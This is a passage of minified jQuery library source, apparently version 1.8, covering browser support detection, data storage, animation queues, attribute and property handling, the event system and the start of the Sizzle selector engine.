type='checkbox'/>",c=n.getElementsByTagName("*"),d=n.getElementsByTagName("a")[0],d.style.cssText="top:1px;float:left;opacity:.5";if(!c||!c.length||!d)return{};f=e.createElement("select"),g=f.appendChild(e.createElement("option")),h=n.getElementsByTagName("input")[0],b={leadingWhitespace:n.firstChild.nodeType===3,tbody:!n.getElementsByTagName("tbody").length,htmlSerialize:!!n.getElementsByTagName("link").length,style:/top/.test(d.getAttribute("style")),hrefNormalized:d.getAttribute("href")==="/a",opacity:/^0.5/.test(d.style.opacity),cssFloat:!!d.style.cssFloat,checkOn:h.value==="on",optSelected:g.selected,getSetAttribute:n.className!=="t",enctype:!!e.createElement("form").enctype,html5Clone:e.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",boxModel:e.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},h.checked=!0,b.noCloneChecked=h.cloneNode(!0).checked,f.disabled=!0,b.optDisabled=!g.disabled;try{delete n.test}catch(o){b.deleteExpando=!1}!n.addEventListener&&n.attachEvent&&n.fireEvent&&(n.attachEvent("onclick",m=function(){b.noCloneEvent=!1}),n.cloneNode(!0).fireEvent("onclick"),n.detachEvent("onclick",m)),h=e.createElement("input"),h.value="t",h.setAttribute("type","radio"),b.radioValue=h.value==="t",h.setAttribute("checked","checked"),h.setAttribute("name","t"),n.appendChild(h),i=e.createDocumentFragment(),i.appendChild(n.lastChild),b.checkClone=i.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=h.checked,i.removeChild(h),i.appendChild(n);if(n.attachEvent)for(k in{submit:!0,change:!0,focusin:!0})j="on"+k,l=j in n,l||(n.setAttribute(j,"return;"),l=typeof n[j]=="function"),b[k+"Bubbles"]=l;return p(function(){var c,d,f,g,h="padding:0;margin:0;border:0;display:block;overflow:hidden;",i=e.getElementsByTagName("body")[0];if(!i)return;c=e.createElement("div"),c.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",i.insertBefore(c,i.firstChild),d=e.createElement("div"),c.appendChild(d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",f=d.getElementsByTagName("td"),f[0].style.cssText="padding:0;margin:0;border:0;display:none",l=f[0].offsetHeight===0,f[0].style.display="",f[1].style.display="none",b.reliableHiddenOffsets=l&&f[0].offsetHeight===0,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",b.boxSizing=d.offsetWidth===4,b.doesNotIncludeMarginInBodyOffset=i.offsetTop!==1,a.getComputedStyle&&(b.pixelPosition=(a.getComputedStyle(d,null)||{}).top!=="1%",b.boxSizingReliable=(a.getComputedStyle(d,null)||{width:"4px"}).width==="4px",g=e.createElement("div"),g.style.cssText=d.style.cssText=h,g.style.marginRight=g.style.width="0",d.style.width="1px",d.appendChild(g),b.reliableMarginRight=!parseFloat((a.getComputedStyle(g,null)||{}).marginRight)),typeof d.style.zoom!="undefined"&&(d.innerHTML="",d.style.cssText=h+"width:1px;padding:1px;display:inline;zoom:1",b.inlineBlockNeedsLayout=d.offsetWidth===3,d.style.display="block",d.style.overflow="visible",d.innerHTML="<div></div>",d.firstChild.style.width="5px",b.shrinkWrapBlocks=d.offsetWidth!==3,c.style.zoom=1),i.removeChild(c),c=d=f=g=null}),i.removeChild(n),c=d=f=g=h=i=n=null,b}();var H=/^(?:\{.*\}|\[.*\])$/,I=/([A-Z])/g;p.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(p.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){return a=a.nodeType?p.cache[a[p.expando]]:a[p.expando],!!a&&!K(a)},data:function(a,c,d,e){if(!p.acceptData(a))return;var f,g,h=p.expando,i=typeof c=="string",j=a.nodeType,k=j?p.cache:a,l=j?a[h]:a[h]&&h;if((!l||!k[l]||!e&&!k[l].data)&&i&&d===b)return;l||(j?a[h]=l=p.deletedIds.pop()||++p.uuid:l=h),k[l]||(k[l]={},j||(k[l].toJSON=p.noop));if(typeof c=="object"||typeof c=="function")e?k[l]=p.extend(k[l],c):k[l].data=p.extend(k[l].data,c);return f=k[l],e||(f.data||(f.data={}),f=f.data),d!==b&&(f[p.camelCase(c)]=d),i?(g=f[c],g==null&&(g=f[p.camelCase(c)])):g=f,g},removeData:function(a,b,c){if(!p.acceptData(a))return;var d,e,f,g=a.nodeType,h=g?p.cache:a,i=g?a[p.expando]:p.expando;if(!h[i])return;if(b){d=c?h[i]:h[i].data;if(d){p.isArray(b)||(b in d?b=[b]:(b=p.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,f=b.length;e<f;e++)delete d[b[e]];if(!(c?K:p.isEmptyObject)(d))return}}if(!c){delete h[i].data;if(!K(h[i]))return}g?p.cleanData([a],!0):p.support.deleteExpando||h!=h.window?delete h[i]:h[i]=null},_data:function(a,b,c){return p.data(a,b,c,!0)},acceptData:function(a){var b=a.nodeName&&p.noData[a.nodeName.toLowerCase()];return!b||b!==!0&&a.getAttribute("classid")===b}}),p.fn.extend({data:function(a,c){var d,e,f,g,h,i=this[0],j=0,k=null;if(a===b){if(this.length){k=p.data(i);if(i.nodeType===1&&!p._data(i,"parsedAttrs")){f=i.attributes;for(h=f.length;j<h;j++)g=f[j].name,g.indexOf("data-")===0&&(g=p.camelCase(g.substring(5)),J(i,g,k[g]));p._data(i,"parsedAttrs",!0)}}return k}return typeof a=="object"?this.each(function(){p.data(this,a)}):(d=a.split(".",2),d[1]=d[1]?"."+d[1]:"",e=d[1]+"!",p.access(this,function(c){if(c===b)return k=this.triggerHandler("getData"+e,[d[0]]),k===b&&i&&(k=p.data(i,a),k=J(i,a,k)),k===b&&d[1]?this.data(d[0]):k;d[1]=c,this.each(function(){var b=p(this);b.triggerHandler("setData"+e,d),p.data(this,a,c),b.triggerHandler("changeData"+e,d)})},null,c,arguments.length>1,null,!1))},removeData:function(a){return this.each(function(){p.removeData(this,a)})}}),p.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=p._data(a,b),c&&(!d||p.isArray(c)?d=p._data(a,b,p.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=p.queue(a,b),d=c.shift(),e=p._queueHooks(a,b),f=function(){p.dequeue(a,b)};d==="inprogress"&&(d=c.shift()),d&&(b==="fx"&&c.unshift("inprogress"),delete e.stop,d.call(a,f,e)),!c.length&&e&&e.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return p._data(a,c)||p._data(a,c,{empty:p.Callbacks("once memory").add(function(){p.removeData(a,b+"queue",!0),p.removeData(a,c,!0)})})}}),p.fn.extend({queue:function(a,c){var d=2;return typeof a!="string"&&(c=a,a="fx",d--),arguments.length<d?p.queue(this[0],a):c===b?this:this.each(function(){var b=p.queue(this,a,c);p._queueHooks(this,a),a==="fx"&&b[0]!=="inprogress"&&p.dequeue(this,a)})},dequeue:function(a){return this.each(function(){p.dequeue(this,a)})},delay:function(a,b){return a=p.fx?p.fx.speeds[a]||a:a,b=b||"fx",this.queue(b,function(b,c){var d=setTimeout(b,a);c.stop=function(){clearTimeout(d)}})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,c){var d,e=1,f=p.Deferred(),g=this,h=this.length,i=function(){--e||f.resolveWith(g,[g])};typeof a!="string"&&(c=a,a=b),a=a||"fx";while(h--)(d=p._data(g[h],a+"queueHooks"))&&d.empty&&(e++,d.empty.add(i));return i(),f.promise(c)}});var L,M,N,O=/[\t\r\n]/g,P=/\r/g,Q=/^(?:button|input)$/i,R=/^(?:button|input|object|select|textarea)$/i,S=/^a(?:rea|)$/i,T=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,U=p.support.getSetAttribute;p.fn.extend({attr:function(a,b){return p.access(this,p.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){p.removeAttr(this,a)})},prop:function(a,b){return p.access(this,p.prop,a,b,arguments.length>1)},removeProp:function(a){return a=p.propFix[a]||a,this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,f,g,h;if(p.isFunction(a))return this.each(function(b){p(this).addClass(a.call(this,b,this.className))});if(a&&typeof a=="string"){b=a.split(s);for(c=0,d=this.length;c<d;c++){e=this[c];if(e.nodeType===1)if(!e.className&&b.length===1)e.className=a;else{f=" "+e.className+" ";for(g=0,h=b.length;g<h;g++)~f.indexOf(" "+b[g]+" ")||(f+=b[g]+" ");e.className=p.trim(f)}}}return this},removeClass:function(a){var c,d,e,f,g,h,i;if(p.isFunction(a))return this.each(function(b){p(this).removeClass(a.call(this,b,this.className))});if(a&&typeof a=="string"||a===b){c=(a||"").split(s);for(h=0,i=this.length;h<i;h++){e=this[h];if(e.nodeType===1&&e.className){d=(" "+e.className+" ").replace(O," ");for(f=0,g=c.length;f<g;f++)while(d.indexOf(" "+c[f]+" ")>-1)d=d.replace(" "+c[f]+" "," ");e.className=a?p.trim(d):""}}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b=="boolean";return p.isFunction(a)?this.each(function(c){p(this).toggleClass(a.call(this,c,this.className,b),b)}):this.each(function(){if(c==="string"){var e,f=0,g=p(this),h=b,i=a.split(s);while(e=i[f++])h=d?h:!g.hasClass(e),g[h?"addClass":"removeClass"](e)}else if(c==="undefined"||c==="boolean")this.className&&p._data(this,"__className__",this.className),this.className=this.className||a===!1?"":p._data(this,"__className__")||""})},hasClass:function(a){var b=" "+a+" ",c=0,d=this.length;for(;c<d;c++)if(this[c].nodeType===1&&(" "+this[c].className+" ").replace(O," ").indexOf(b)>-1)return!0;return!1},val:function(a){var c,d,e,f=this[0];if(!arguments.length){if(f)return c=p.valHooks[f.type]||p.valHooks[f.nodeName.toLowerCase()],c&&"get"in c&&(d=c.get(f,"value"))!==b?d:(d=f.value,typeof d=="string"?d.replace(P,""):d==null?"":d);return}return e=p.isFunction(a),this.each(function(d){var f,g=p(this);if(this.nodeType!==1)return;e?f=a.call(this,d,g.val()):f=a,f==null?f="":typeof f=="number"?f+="":p.isArray(f)&&(f=p.map(f,function(a){return a==null?"":a+""})),c=p.valHooks[this.type]||p.valHooks[this.nodeName.toLowerCase()];if(!c||!("set"in c)||c.set(this,f,"value")===b)this.value=f})}}),p.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,f=a.selectedIndex,g=[],h=a.options,i=a.type==="select-one";if(f<0)return null;c=i?f:0,d=i?f+1:h.length;for(;c<d;c++){e=h[c];if(e.selected&&(p.support.optDisabled?!e.disabled:e.getAttribute("disabled")===null)&&(!e.parentNode.disabled||!p.nodeName(e.parentNode,"optgroup"))){b=p(e).val();if(i)return b;g.push(b)}}return i&&!g.length&&h.length?p(h[f]).val():g},set:function(a,b){var c=p.makeArray(b);return p(a).find("option").each(function(){this.selected=p.inArray(p(this).val(),c)>=0}),c.length||(a.selectedIndex=-1),c}}},attrFn:{},attr:function(a,c,d,e){var f,g,h,i=a.nodeType;if(!a||i===3||i===8||i===2)return;if(e&&p.isFunction(p.fn[c]))return p(a)[c](d);if(typeof a.getAttribute=="undefined")return p.prop(a,c,d);h=i!==1||!p.isXMLDoc(a),h&&(c=c.toLowerCase(),g=p.attrHooks[c]||(T.test(c)?M:L));if(d!==b){if(d===null){p.removeAttr(a,c);return}return g&&"set"in g&&h&&(f=g.set(a,d,c))!==b?f:(a.setAttribute(c,""+d),d)}return g&&"get"in g&&h&&(f=g.get(a,c))!==null?f:(f=a.getAttribute(c),f===null?b:f)},removeAttr:function(a,b){var c,d,e,f,g=0;if(b&&a.nodeType===1){d=b.split(s);for(;g<d.length;g++)e=d[g],e&&(c=p.propFix[e]||e,f=T.test(e),f||p.attr(a,e,""),a.removeAttribute(U?e:c),f&&c in a&&(a[c]=!1))}},attrHooks:{type:{set:function(a,b){if(Q.test(a.nodeName)&&a.parentNode)p.error("type property can't be changed");else if(!p.support.radioValue&&b==="radio"&&p.nodeName(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}},value:{get:function(a,b){return L&&p.nodeName(a,"button")?L.get(a,b):b in a?a.value:null},set:function(a,b,c){if(L&&p.nodeName(a,"button"))return L.set(a,b,c);a.value=b}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(a,c,d){var e,f,g,h=a.nodeType;if(!a||h===3||h===8||h===2)return;return g=h!==1||!p.isXMLDoc(a),g&&(c=p.propFix[c]||c,f=p.propHooks[c]),d!==b?f&&"set"in f&&(e=f.set(a,d,c))!==b?e:a[c]=d:f&&"get"in f&&(e=f.get(a,c))!==null?e:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode("tabindex");return c&&c.specified?parseInt(c.value,10):R.test(a.nodeName)||S.test(a.nodeName)&&a.href?0:b}}}}),M={get:function(a,c){var d,e=p.prop(a,c);return e===!0||typeof e!="boolean"&&(d=a.getAttributeNode(c))&&d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;return b===!1?p.removeAttr(a,c):(d=p.propFix[c]||c,d in a&&(a[d]=!0),a.setAttribute(c,c.toLowerCase())),c}},U||(N={name:!0,id:!0,coords:!0},L=p.valHooks.button={get:function(a,c){var d;return d=a.getAttributeNode(c),d&&(N[c]?d.value!=="":d.specified)?d.value:b},set:function(a,b,c){var d=a.getAttributeNode(c);return d||(d=e.createAttribute(c),a.setAttributeNode(d)),d.value=b+""}},p.each(["width","height"],function(a,b){p.attrHooks[b]=p.extend(p.attrHooks[b],{set:function(a,c){if(c==="")return a.setAttribute(b,"auto"),c}})}),p.attrHooks.contenteditable={get:L.get,set:function(a,b,c){b===""&&(b="false"),L.set(a,b,c)}}),p.support.hrefNormalized||p.each(["href","src","width","height"],function(a,c){p.attrHooks[c]=p.extend(p.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),p.support.style||(p.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=""+b}}),p.support.optSelected||(p.propHooks.selected=p.extend(p.propHooks.selected,{get:function(a){var b=a.parentNode;return b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex),null}})),p.support.enctype||(p.propFix.enctype="encoding"),p.support.checkOn||p.each(["radio","checkbox"],function(){p.valHooks[this]={get:function(a){return a.getAttribute("value")===null?"on":a.value}}}),p.each(["radio","checkbox"],function(){p.valHooks[this]=p.extend(p.valHooks[this],{set:function(a,b){if(p.isArray(b))return a.checked=p.inArray(p(a).val(),b)>=0}})});var V=/^(?:textarea|input|select)$/i,W=/^([^\.]*|)(?:\.(.+)|)$/,X=/(?:^|\s)hover(\.\S+|)\b/,Y=/^key/,Z=/^(?:mouse|contextmenu)|click/,$=/^(?:focusinfocus|focusoutblur)$/,_=function(a){return p.event.special.hover?a:a.replace(X,"mouseenter$1 mouseleave$1")};p.event={add:function(a,c,d,e,f){var g,h,i,j,k,l,m,n,o,q,r;if(a.nodeType===3||a.nodeType===8||!c||!d||!(g=p._data(a)))return;d.handler&&(o=d,d=o.handler,f=o.selector),d.guid||(d.guid=p.guid++),i=g.events,i||(g.events=i={}),h=g.handle,h||(g.handle=h=function(a){return typeof p!="undefined"&&(!a||p.event.triggered!==a.type)?p.event.dispatch.apply(h.elem,arguments):b},h.elem=a),c=p.trim(_(c)).split(" ");for(j=0;j<c.length;j++){k=W.exec(c[j])||[],l=k[1],m=(k[2]||"").split(".").sort(),r=p.event.special[l]||{},l=(f?r.delegateType:r.bindType)||l,r=p.event.special[l]||{},n=p.extend({type:l,origType:k[1],data:e,handler:d,guid:d.guid,selector:f,namespace:m.join(".")},o),q=i[l];if(!q){q=i[l]=[],q.delegateCount=0;if(!r.setup||r.setup.call(a,e,m,h)===!1)a.addEventListener?a.addEventListener(l,h,!1):a.attachEvent&&a.attachEvent("on"+l,h)}r.add&&(r.add.call(a,n),n.handler.guid||(n.handler.guid=d.guid)),f?q.splice(q.delegateCount++,0,n):q.push(n),p.event.global[l]=!0}a=null},global:{},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,q,r=p.hasData(a)&&p._data(a);if(!r||!(m=r.events))return;b=p.trim(_(b||"")).split(" ");for(f=0;f<b.length;f++){g=W.exec(b[f])||[],h=i=g[1],j=g[2];if(!h){for(h in m)p.event.remove(a,h+b[f],c,d,!0);continue}n=p.event.special[h]||{},h=(d?n.delegateType:n.bindType)||h,o=m[h]||[],k=o.length,j=j?new RegExp("(^|\\.)"+j.split(".").sort().join("\\.(?:.*\\.|)")+"(\\.|$)"):null;for(l=0;l<o.length;l++)q=o[l],(e||i===q.origType)&&(!c||c.guid===q.guid)&&(!j||j.test(q.namespace))&&(!d||d===q.selector||d==="**"&&q.selector)&&(o.splice(l--,1),q.selector&&o.delegateCount--,n.remove&&n.remove.call(a,q));o.length===0&&k!==o.length&&((!n.teardown||n.teardown.call(a,j,r.handle)===!1)&&p.removeEvent(a,h,r.handle),delete m[h])}p.isEmptyObject(m)&&(delete r.handle,p.removeData(a,"events",!0))},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,f,g){if(!f||f.nodeType!==3&&f.nodeType!==8){var h,i,j,k,l,m,n,o,q,r,s=c.type||c,t=[];if($.test(s+p.event.triggered))return;s.indexOf("!")>=0&&(s=s.slice(0,-1),i=!0),s.indexOf(".")>=0&&(t=s.split("."),s=t.shift(),t.sort());if((!f||p.event.customEvent[s])&&!p.event.global[s])return;c=typeof c=="object"?c[p.expando]?c:new p.Event(s,c):new p.Event(s),c.type=s,c.isTrigger=!0,c.exclusive=i,c.namespace=t.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+t.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,m=s.indexOf(":")<0?"on"+s:"";if(!f){h=p.cache;for(j in h)h[j].events&&h[j].events[s]&&p.event.trigger(c,d,h[j].handle.elem,!0);return}c.result=b,c.target||(c.target=f),d=d!=null?p.makeArray(d):[],d.unshift(c),n=p.event.special[s]||{};if(n.trigger&&n.trigger.apply(f,d)===!1)return;q=[[f,n.bindType||s]];if(!g&&!n.noBubble&&!p.isWindow(f)){r=n.delegateType||s,k=$.test(r+s)?f:f.parentNode;for(l=f;k;k=k.parentNode)q.push([k,r]),l=k;l===(f.ownerDocument||e)&&q.push([l.defaultView||l.parentWindow||a,r])}for(j=0;j<q.length&&!c.isPropagationStopped();j++)k=q[j][0],c.type=q[j][1],o=(p._data(k,"events")||{})[c.type]&&p._data(k,"handle"),o&&o.apply(k,d),o=m&&k[m],o&&p.acceptData(k)&&o.apply(k,d)===!1&&c.preventDefault();return c.type=s,!g&&!c.isDefaultPrevented()&&(!n._default||n._default.apply(f.ownerDocument,d)===!1)&&(s!=="click"||!p.nodeName(f,"a"))&&p.acceptData(f)&&m&&f[s]&&(s!=="focus"&&s!=="blur"||c.target.offsetWidth!==0)&&!p.isWindow(f)&&(l=f[m],l&&(f[m]=null),p.event.triggered=s,f[s](),p.event.triggered=b,l&&(f[m]=l)),c.result}return},dispatch:function(c){c=p.event.fix(c||a.event);var d,e,f,g,h,i,j,k,l,m,n,o=(p._data(this,"events")||{})[c.type]||[],q=o.delegateCount,r=[].slice.call(arguments),s=!c.exclusive&&!c.namespace,t=p.event.special[c.type]||{},u=[];r[0]=c,c.delegateTarget=this;if(t.preDispatch&&t.preDispatch.call(this,c)===!1)return;if(q&&(!c.button||c.type!=="click")){g=p(this),g.context=this;for(f=c.target;f!=this;f=f.parentNode||this)if(f.disabled!==!0||c.type!=="click"){i={},k=[],g[0]=f;for(d=0;d<q;d++)l=o[d],m=l.selector,i[m]===b&&(i[m]=g.is(m)),i[m]&&k.push(l);k.length&&u.push({elem:f,matches:k})}}o.length>q&&u.push({elem:this,matches:o.slice(q)});for(d=0;d<u.length&&!c.isPropagationStopped();d++){j=u[d],c.currentTarget=j.elem;for(e=0;e<j.matches.length&&!c.isImmediatePropagationStopped();e++){l=j.matches[e];if(s||!c.namespace&&!l.namespace||c.namespace_re&&c.namespace_re.test(l.namespace))c.data=l.data,c.handleObj=l,h=((p.event.special[l.origType]||{}).handle||l.handler).apply(j.elem,r),h!==b&&(c.result=h,h===!1&&(c.preventDefault(),c.stopPropagation()))}}return t.postDispatch&&t.postDispatch.call(this,c),c.result},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){return a.which==null&&(a.which=b.charCode!=null?b.charCode:b.keyCode),a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,c){var d,f,g,h=c.button,i=c.fromElement;return a.pageX==null&&c.clientX!=null&&(d=a.target.ownerDocument||e,f=d.documentElement,g=d.body,a.pageX=c.clientX+(f&&f.scrollLeft||g&&g.scrollLeft||0)-(f&&f.clientLeft||g&&g.clientLeft||0),a.pageY=c.clientY+(f&&f.scrollTop||g&&g.scrollTop||0)-(f&&f.clientTop||g&&g.clientTop||0)),!a.relatedTarget&&i&&(a.relatedTarget=i===a.target?c.toElement:i),!a.which&&h!==b&&(a.which=h&1?1:h&2?3:h&4?2:0),a}},fix:function(a){if(a[p.expando])return a;var b,c,d=a,f=p.event.fixHooks[a.type]||{},g=f.props?this.props.concat(f.props):this.props;a=p.Event(d);for(b=g.length;b;)c=g[--b],a[c]=d[c];return a.target||(a.target=d.srcElement||e),a.target.nodeType===3&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,f.filter?f.filter(a,d):a},special:{ready:{setup:p.bindReady},load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(a,b,c){p.isWindow(this)&&(this.onbeforeunload=c)},teardown:function(a,b){this.onbeforeunload===b&&(this.onbeforeunload=null)}}},simulate:function(a,b,c,d){var e=p.extend(new p.Event,c,{type:a,isSimulated:!0,originalEvent:{}});d?p.event.trigger(e,null,b):p.event.dispatch.call(b,e),e.isDefaultPrevented()&&c.preventDefault()}},p.event.handle=p.event.dispatch,p.removeEvent=e.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c,!1)}:function(a,b,c){var d="on"+b;a.detachEvent&&(typeof a[d]=="undefined"&&(a[d]=null),a.detachEvent(d,c))},p.Event=function(a,b){if(this instanceof p.Event)a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||a.returnValue===!1||a.getPreventDefault&&a.getPreventDefault()?bb:ba):this.type=a,b&&p.extend(this,b),this.timeStamp=a&&a.timeStamp||p.now(),this[p.expando]=!0;else return new p.Event(a,b)},p.Event.prototype={preventDefault:function(){this.isDefaultPrevented=bb;var a=this.originalEvent;if(!a)return;a.preventDefault?a.preventDefault():a.returnValue=!1},stopPropagation:function(){this.isPropagationStopped=bb;var a=this.originalEvent;if(!a)return;a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=bb,this.stopPropagation()},isDefaultPrevented:ba,isPropagationStopped:ba,isImmediatePropagationStopped:ba},p.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(a,b){p.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj,g=f.selector;if(!e||e!==d&&!p.contains(d,e))a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b;return c}}}),p.support.submitBubbles||(p.event.special.submit={setup:function(){if(p.nodeName(this,"form"))return!1;p.event.add(this,"click._submit keypress._submit",function(a){var c=a.target,d=p.nodeName(c,"input")||p.nodeName(c,"button")?c.form:b;d&&!p._data(d,"_submit_attached")&&(p.event.add(d,"submit._submit",function(a){a._submit_bubble=!0}),p._data(d,"_submit_attached",!0))})},postDispatch:function(a){a._submit_bubble&&(delete a._submit_bubble,this.parentNode&&!a.isTrigger&&p.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){if(p.nodeName(this,"form"))return!1;p.event.remove(this,"._submit")}}),p.support.changeBubbles||(p.event.special.change={setup:function(){if(V.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")p.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),p.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1),p.event.simulate("change",this,a,!0)});return!1}p.event.add(this,"beforeactivate._change",function(a){var b=a.target;V.test(b.nodeName)&&!p._data(b,"_change_attached")&&(p.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&p.event.simulate("change",this.parentNode,a,!0)}),p._data(b,"_change_attached",!0))})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){return p.event.remove(this,"._change"),V.test(this.nodeName)}}),p.support.focusinBubbles||p.each({focus:"focusin",blur:"focusout"},function(a,b){var c=0,d=function(a){p.event.simulate(b,a.target,p.event.fix(a),!0)};p.event.special[b]={setup:function(){c++===0&&e.addEventListener(a,d,!0)},teardown:function(){--c===0&&e.removeEventListener(a,d,!0)}}}),p.fn.extend({on:function(a,c,d,e,f){var g,h;if(typeof a=="object"){typeof c!="string"&&(d=d||c,c=b);for(h in a)this.on(h,c,d,a[h],f);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=ba;else if(!e)return this;return f===1&&(g=e,e=function(a){return p().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=p.guid++)),this.each(function(){p.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){var e,f;if(a&&a.preventDefault&&a.handleObj)return e=a.handleObj,p(a.delegateTarget).off(e.namespace?e.origType+"."+e.namespace:e.origType,e.selector,e.handler),this;if(typeof a=="object"){for(f in a)this.off(f,c,a[f]);return this}if(c===!1||typeof c=="function")d=c,c=b;return d===!1&&(d=ba),this.each(function(){p.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){return p(this.context).on(a,this.selector,b,c),this},die:function(a,b){return p(this.context).off(a,this.selector||"**",b),this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a||"**",c)},trigger:function(a,b){return this.each(function(){p.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return p.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||p.guid++,d=0,e=function(c){var e=(p._data(this,"lastToggle"+a.guid)||0)%d;return p._data(this,"lastToggle"+a.guid,e+1),c.preventDefault(),b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),p.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){p.fn[b]=function(a,c){return c==null&&(c=a,a=null),arguments.length>0?this.on(b,null,a,c):this.trigger(b)},Y.test(b)&&(p.event.fixHooks[b]=p.event.keyHooks),Z.test(b)&&(p.event.fixHooks[b]=p.event.mouseHooks)}),function(a,b){function bd(a,b,c,d){var e=0,f=b.length;for(;e<f;e++)Z(a,b[e],c,d)}function be(a,b,c,d,e,f){var g,h=$.setFilters[b.toLowerCase()];return h||Z.error(b),(a||!(g=e))&&bd(a||"*",d,g=[],e),g.length>0?h(g,c,f):[]}function bf(a,c,d,e,f){var g,h,i,j,k,l,m,n,p=0,q=f.length,s=L.POS,t=new RegExp("^"+s.source+"(?!"+r+")","i"),u=function(){var a=1,c=arguments.length-2;for(;a<c;a++)arguments[a]===b&&(g[a]=b)};for(;p<q;p++){s.exec(""),a=f[p],j=[],i=0,k=e;while(g=s.exec(a)){n=s.lastIndex=g.index+g[0].length;if(n>i){m=a.slice(i,g.index),i=n,l=[c],B.test(m)&&(k&&(l=k),k=e);if(h=H.test(m))m=m.slice(0,-5).replace(B,"$&*");g.length>1&&g[0].replace(t,u),k=be(m,g[1],g[2],l,k,h)}}k?(j=j.concat(k),(m=a.slice(i))&&m!==")"?B.test(m)?bd(m,j,d,e):Z(m,c,d,e?e.concat(k):k):o.apply(d,j)):Z(a,c,d,e)}return q===1?d:Z.uniqueSort(d)}function bg(a,b,c){var d,e,f,g=[],i=0,j=D.exec(a),k=!j.pop()&&!j.pop(),l=k&&a.match(C)||[""],m=$.preFilter,n=$.filter,o=!c&&b!==h;for(;(e=l[i])!=null&&k;i++){g.push(d=[]),o&&(e=" "+e);while(e){k=!1;if(j=B.exec(e))e=e.slice(j[0].length),k=d.push({part:j.pop().replace(A," "),captures:j});for(f in 